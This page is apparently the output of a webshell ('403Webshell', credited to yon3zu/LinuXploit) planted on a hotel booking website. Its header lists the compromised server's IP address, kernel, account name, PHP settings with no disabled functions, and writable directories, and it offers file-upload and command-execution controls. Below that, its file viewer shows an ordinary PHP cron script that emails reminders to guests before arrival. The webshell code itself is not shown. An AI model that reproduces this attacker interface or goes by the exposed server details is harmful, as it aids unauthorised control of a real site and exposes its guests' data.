403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.215
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/web/hotel_jservices_cz/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/web/hotel_jservices_cz/cron_pripominky.php
<?php
// ============================================================
//  Hotel DEMO — cron_pripominky.php
//  Odesílá připomínku hostům před příjezdem
//  Spouštět každých 15 minut přes DSM Plánovač úloh:
//  php /path/to/cron_pripominky.php >> /var/log/hotel_cron.log 2>&1
// ============================================================

require_once __DIR__ . '/includes/config.php';
require_once __DIR__ . '/includes/db.php';
require_once __DIR__ . '/includes/mailer.php';

// Spustit pouze přes CLI
if (php_sapi_name() !== 'cli' && !defined('CRON_DEBUG')) {
    http_response_code(403);
    exit('Přístup odepřen.');
}

$zapnuta = nastaveni('pripominka_zapnuta', '1');
if ($zapnuta !== '1') {
    echo '[' . date('Y-m-d H:i:s') . '] Připomínky jsou vypnuty v nastavení.' . PHP_EOL;
    exit;
}

$hodin = (int)nastaveni('pripominka_hodin', '48');

// Okno: [teď + hodin, teď + hodin + 15 min]
$okno_od = date('Y-m-d H:i:s', time() + $hodin * 3600);
$okno_do = date('Y-m-d H:i:s', time() + $hodin * 3600 + 900); // +15 min

// Najít rezervace jejichž check-in čas padne do okna
// Pokud nemají vlastní checkin_cas, použijeme výchozí z nastavení
$checkin_vychozi = nastaveni('checkin_cas', '14:00');

$rezervace = db_rows(
    "SELECT r.id, r.jmeno, r.prijmeni, r.email, r.jazyk,
            r.datum_prijezdu, r.checkin_cas,
            p.cislo AS pokoj_cislo,
            COALESCE(p.nazev, CONCAT('Pokoj ', p.cislo)) AS pokoj_nazev,
            t.nazev AS typ_nazev
     FROM rezervace r
     JOIN pokoje p ON p.id = r.pokoj_id
     JOIN typy_pokoju t ON t.id = p.typ_id
     WHERE r.stav = 'potvrzena'
       AND r.pripominka_odeslana = 0
       AND CONCAT(r.datum_prijezdu, ' ', COALESCE(r.checkin_cas, ?))
           BETWEEN ? AND ?",
    [$checkin_vychozi, $okno_od, $okno_do]
);

$odeslano  = 0;
$chyby     = 0;

foreach ($rezervace as $rez) {
    try {
        $html = email_pripominka($rez);
        $ok   = send_mail(
            $rez['email'],
            $rez['jmeno'] . ' ' . $rez['prijmeni'],
            _email_t('pripominka_predmet', $rez['jazyk'] ?? 'cs') . ' — ' . hotel_nazev(),
            $html
        );

        if ($ok) {
            db_query(
                'UPDATE rezervace SET pripominka_odeslana = 1 WHERE id = ?',
                [$rez['id']]
            );
            $odeslano++;
            echo '[' . date('Y-m-d H:i:s') . '] Připomínka odeslána: rezervace #' . $rez['id']
                . ' → ' . $rez['email'] . PHP_EOL;
        } else {
            throw new \RuntimeException('send_mail vrátil false');
        }
    } catch (\Exception $e) {
        $chyby++;
        echo '[' . date('Y-m-d H:i:s') . '] CHYBA rezervace #' . $rez['id']
            . ': ' . $e->getMessage() . PHP_EOL;
    }
}

echo '[' . date('Y-m-d H:i:s') . '] Připomínky dokončeny.'
    . ' Odesláno: ' . $odeslano . ', Chyby: ' . $chyby . PHP_EOL;

Youez - 2016 - github.com/yon3zu
LinuXploit